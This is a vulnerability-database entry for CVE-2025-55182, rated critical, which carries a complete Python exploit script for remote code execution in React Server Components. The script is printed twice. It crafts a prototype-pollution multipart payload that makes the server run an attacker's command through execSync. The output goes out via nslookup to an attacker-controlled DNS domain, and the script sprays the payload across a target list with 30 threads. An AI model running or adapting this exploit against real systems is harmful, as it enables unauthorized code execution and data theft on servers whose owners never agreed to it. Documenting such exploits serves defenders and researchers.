10
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Description
Exploit Title: React Server 19.2.0 - Remote Code Execution Date: 2025-12-05 Exploit Author: EynaExp https://github.com/EynaExp Vendor Homepage: https://react.dev Software Link: https://react.dev/reference/rsc/server-components Version: 19.0.0, 19.1.0,...
Basic Information
ID
EDB-ID:52506
Published
Apr 9, 2026 at 00:00
Affected Product
Affected Versions
# Exploit Title: React Server 19.2.0 - Remote Code Execution
# Date: 2025-12-05
# Exploit Author: [EynaExp] (https://github.com/EynaExp)
# Vendor Homepage: https://react.dev
# Software Link: https://react.dev/reference/rsc/server-components
# Version: [19.0.0, 19.1.0, 19.1.1, 19.2.0]
# Tested on: Windows,Linux
# CVE : CVE-2025-55182
import requests
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Color definitions
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
END = '\033[0m'
print("""
███████╗██╗ ██╗███╗ ██╗ █████╗ ███████╗██╗ ██╗██████╗
██╔════╝╚██╗ ██╔╝████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝██╔══██╗
██║ ╚████╔╝ ██╔██╗ ██║███████║█████╗ ╚███╔╝ ██████╔╝
██║ ╚██╔╝ ██║╚██╗██║██╔══██║██╔══╝ ██╔██╗ ██╔═══╝
╚███████╗ ██║ ██║ ╚████║██║ ██║███████╗██╔╝ ██╗██║
╚══════╝ ╚═╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝
CVE-2025-55182 Proof of Concept
by EynaExp
GitHub: https://github.com/EynaExp
""")
print(f"{Colors.RED}Disclaimer:\nThis tool is released for EDUCATIONAL and AUTHORIZED TESTING purposes only.\nThe author is not responsible for any misuse or damage caused by this program.{Colors.END}")
class NoUsageParser(argparse.ArgumentParser):
def error(self, message):
# completely suppress argparse usage
print(f"Error: {message}")
raise SystemExit(1)
parser = NoUsageParser(description="EynaExp Scanner")
parser.add_argument('-d', required=True)
parser.add_argument('-l', required=True)
parser.add_argument('-c', required=True)
print(f"{Colors.GREEN}\n[+]APP USAGE :\n[-d] <DNS(without http/s)>\n[-l] <Targets file path(url wordlist)>\n[-C] <Command>{Colors.END}\n")
args = parser.parse_args()
dns_endpoint = args.d.strip()
targets_file_path = args.l.strip()
CMD = args.c.strip()
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
}
request_body = (
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"0\"\r\n\r\n"
"{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,"
"\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\","
"\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('nslookup `"+CMD+"`."+dns_endpoint+"');\","
"\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"1\"\r\n\r\n"
"\"$@0\"\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
)
def send_request(target_url):
try:
response = requests.post(target_url, headers=headers, data=request_body, timeout=10, verify=False)
result_message = f"{Colors.GREEN}[+] {target_url} -> {response.status_code} ({len(response.content)} bytes){Colors.END}"
for header_key in ["x-action", "next-action", "rsc"]:
if header_key in response.headers:
result_message += f"\n{Colors.BLUE} header match: {header_key} = {response.headers.get(header_key)}{Colors.END}"
return result_message
except Exception as exception:
return f"{Colors.RED}[-] {target_url} -> error: {exception}{Colors.END}"
with open(targets_file_path) as file_handle:
target_urls = [line.strip() for line in file_handle if line.strip()]
print(f"{Colors.YELLOW}[*] Loaded {len(target_urls)} targets — starting multi-thread scan...{Colors.END}\n")
with ThreadPoolExecutor(max_workers=30) as executor:
futures = {executor.submit(send_request, url): url for url in target_urls}
for future in as_completed(futures):
print(future.result())
# Date: 2025-12-05
# Exploit Author: [EynaExp] (https://github.com/EynaExp)
# Vendor Homepage: https://react.dev
# Software Link: https://react.dev/reference/rsc/server-components
# Version: [19.0.0, 19.1.0, 19.1.1, 19.2.0]
# Tested on: Windows,Linux
# CVE : CVE-2025-55182
import requests
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Color definitions
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
END = '\033[0m'
print("""
███████╗██╗ ██╗███╗ ██╗ █████╗ ███████╗██╗ ██╗██████╗
██╔════╝╚██╗ ██╔╝████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝██╔══██╗
██║ ╚████╔╝ ██╔██╗ ██║███████║█████╗ ╚███╔╝ ██████╔╝
██║ ╚██╔╝ ██║╚██╗██║██╔══██║██╔══╝ ██╔██╗ ██╔═══╝
╚███████╗ ██║ ██║ ╚████║██║ ██║███████╗██╔╝ ██╗██║
╚══════╝ ╚═╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝
CVE-2025-55182 Proof of Concept
by EynaExp
GitHub: https://github.com/EynaExp
""")
print(f"{Colors.RED}Disclaimer:\nThis tool is released for EDUCATIONAL and AUTHORIZED TESTING purposes only.\nThe author is not responsible for any misuse or damage caused by this program.{Colors.END}")
class NoUsageParser(argparse.ArgumentParser):
def error(self, message):
# completely suppress argparse usage
print(f"Error: {message}")
raise SystemExit(1)
parser = NoUsageParser(description="EynaExp Scanner")
parser.add_argument('-d', required=True)
parser.add_argument('-l', required=True)
parser.add_argument('-c', required=True)
print(f"{Colors.GREEN}\n[+]APP USAGE :\n[-d] <DNS(without http/s)>\n[-l] <Targets file path(url wordlist)>\n[-C] <Command>{Colors.END}\n")
args = parser.parse_args()
dns_endpoint = args.d.strip()
targets_file_path = args.l.strip()
CMD = args.c.strip()
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
}
request_body = (
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"0\"\r\n\r\n"
"{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,"
"\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\","
"\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('nslookup `"+CMD+"`."+dns_endpoint+"');\","
"\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"1\"\r\n\r\n"
"\"$@0\"\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
)
def send_request(target_url):
try:
response = requests.post(target_url, headers=headers, data=request_body, timeout=10, verify=False)
result_message = f"{Colors.GREEN}[+] {target_url} -> {response.status_code} ({len(response.content)} bytes){Colors.END}"
for header_key in ["x-action", "next-action", "rsc"]:
if header_key in response.headers:
result_message += f"\n{Colors.BLUE} header match: {header_key} = {response.headers.get(header_key)}{Colors.END}"
return result_message
except Exception as exception:
return f"{Colors.RED}[-] {target_url} -> error: {exception}{Colors.END}"
with open(targets_file_path) as file_handle:
target_urls = [line.strip() for line in file_handle if line.strip()]
print(f"{Colors.YELLOW}[*] Loaded {len(target_urls)} targets — starting multi-thread scan...{Colors.END}\n")
with ThreadPoolExecutor(max_workers=30) as executor:
futures = {executor.submit(send_request, url): url for url in target_urls}
for future in as_completed(futures):
print(future.result())